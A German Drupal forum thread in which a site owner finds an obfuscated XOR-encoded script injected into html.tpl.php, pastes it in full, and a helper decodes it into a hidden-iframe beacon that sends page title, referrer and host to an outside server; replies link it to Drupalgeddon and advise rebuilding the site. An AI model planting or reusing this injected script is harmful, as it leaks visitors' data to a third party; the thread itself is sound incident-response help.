Wo ist die Sicherheitslücke?
Eingetragen von frox (3)
am 20.09.2015 - 15:02 Uhr in
am 20.09.2015 - 15:02 Uhr in
Hallo,
ich hatte bei meiner Drupal-Installation jetzt schon zwei mal das Problem das die html.tpl.php geändert wurde.
Es wurde ein script eingefügt:
<?php
<script type="text/javascript">var a="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'2;tcp'02pgdgpgp'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'2;tcp'02fgdcwnv]ig{umpf'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,vkvng'0;'1@'2C'2;tcp'02jmqv'02'1F'02glamfgWPKAmormlglv'0:nmacvkml,jmqv'0;'1@'2C'2;tcp'02kdpcog'02'1F'02fmawoglv,apgcvgGngoglv'0:'05kdpcog'05'0;'1@'2C'2;kdpcog,ukfvj'1F2'1@'2C'2;kdpcog,jgkejv'1F2'1@'2C'2;kdpcog,qpa'1F'02'00j'00'02)'02'00vv'00'02)'02'00r'1C--'00'02)'02'00ida,'00'02)'02'00k,k'00'02)'02'00nn'00'02)'02'00woklcv'00'02)'02'00kmlg'00'02)'02'00q,a'00'02)'02'00mo'00'02)'02'00-qlkvaj'1Df'00'02)'02'00gd'00'02)'02'00cwn'00'02)'02'00v]i'00'02)'02'00g{'00'02)'02'00umpf'1F'00'02)'02fgdcwnv]ig{umpf'02)'02'00'04pgdg'00'02)'02'00ppgp'1F'00'02)'02pgdgpgp'02)'02'00'04qg]p'00'02)'02'00gd'00'02)'02'00gp'00'02)'02'00pgp'1F'00'02)'02pgdgpgp'02)'02'00'04qmw'00'02)'02'00pag'1F'00'02)'02jmqv'1@'2C'2;fmawoglv,`mf{,crrglfAjknf'0:kdpcog'0;'1@'2C'1A-qapkrv'1G";b="";c="";var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);</script>
?>
Ergebnis siehe Anhang.
Kann mir jemand sagen was der Code genau macht und wie ich verhindern kann das die html.tpl.php geändert wird.
Was ich schon gemacht habe:
-FTP-Passwort geändert
-rechte der html.tpl.php überprüft
-Passwort vom Drupal-Admin geändert.
Besten Dank schon mal für eure Hilfe
Anhang | Größe |
---|---|
Unbenannt.png | 179.16 KB |
- Anmelden oder Registrieren um Kommentare zu schreiben
Seit wann hast DU Deine
am 20.09.2015 - 17:52 Uhr
Seit wann hast DU Deine Drupal Seite. Der Umstieg auf Drupal 7.32 war am 15.10.2014 ungemein zeitkritisch. Wer den nicht gemacht hatte, oder nicht den entsprechenden Patch eingespielt hatte, mußte davon aus gehen, daß die Seite danach gehackt war, auch wenn nicht zu sehen war. Es sieht für mich so aus, als wäre das eine Spätfolge davon. Google mal Drupalgeddon, da findest Du, wie Du vorgehen solltest.
.
Werner
drupal-training.de
Moderator und Drupal Trainer
* - - - - - - - - - - - - - - - - - - - - - - - - - - - *
Hi, Dein Server wurde
am 21.09.2015 - 11:04 Uhr
Hi,
Dein Server wurde ziemlich sicher wie wla beschreiben hat gehackt!
Sonst könnte html.tpl.php kaum geändert werden.
Hast Du Drupal kleiner als 7.32 ist die Seite im nu gehackt (SQL Injection)
Wenn ich das Skript unescape kommt dabei folgender Code raus:
<script type="text/javascript">
var referer = encodeURIComponent(document.referrer);
var default_keyword = encodeURIComponent(document.title);
var host = encodeURIComponent(location.host);
var iframe = document.createElement('iframe');
iframe.width=0;
iframe.height=0;
iframe.src= "h" + "tt" + "p://" + "kfc." + "i.i" + "ll" + "uminat" + "ione" + "s.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
document.body.appendChild(iframe);
</script>
Das Skript verbindet sich mit kfc.i.illuminationes.com (IP aus Litauen: 91.226.33.54)
und sendet Seiten Titel, Referrer und Hostnamen an diesen Server.
Das ganze sieht dann wie folgt aus:
http://kfc.i.illuminationes.com/snitch?default_keyword=&referrer=&source=
Ziemlich sicher hat der Hacker schon eine Reverse Shell auf Deinem Server am laufen .
Schau mal im Access log nach ob Du dort herausfinden kannst wo die Reverse Shell läuft.
Du kannst auch davon ausgehen, dass der Hacker die settings.php ausgelesen hat und
damit Zugang zum MYSQL Server hat.
Viel Glück
Robert
https://awri.ch
Ich habe eine Schweizer Tastatur und daher kein scharfes ß ;-)
Erst mal Danke an euch
am 21.09.2015 - 12:18 Uhr
Erst mal Danke an euch zwei.
Ich hab mich mal ein bisschen eingelesen in die ganze Sache.
Also es ist wohl so wie ihr gesagt habt. Es kann durch aus sein das ich damals das update nicht schnell genug eingespielt hab.
In welchem Accesslog soll ich nachsehen? Drupal oder mysql?
Kannst du noch mal näher auf die reverse shell eingehen?
Reicht es nun wenn ich alle Passwörter geändert habe und bis auf das "sites" Verzeichnis alles überschrieben hab?
Gruß frox
Nein, das reicht auf keinen Fall.
am 21.09.2015 - 12:36 Uhr
Nein, das reicht auf keinen Fall. Du mußt die Seite von Scratch neu aufbauen, d.h.
Nur so kannst Du sicher stellen, daß keine Backdoor mehr im System bleibt.
.
Werner
drupal-training.de
Moderator und Drupal Trainer
* - - - - - - - - - - - - - - - - - - - - - - - - - - - *
Dacht ich mir fast dass ich
am 21.09.2015 - 15:51 Uhr
Dacht ich mir fast dass ich das ganze Drupal wohl neu aufsetzen muss.
Dann werd ich mich da wohl mal ran machen.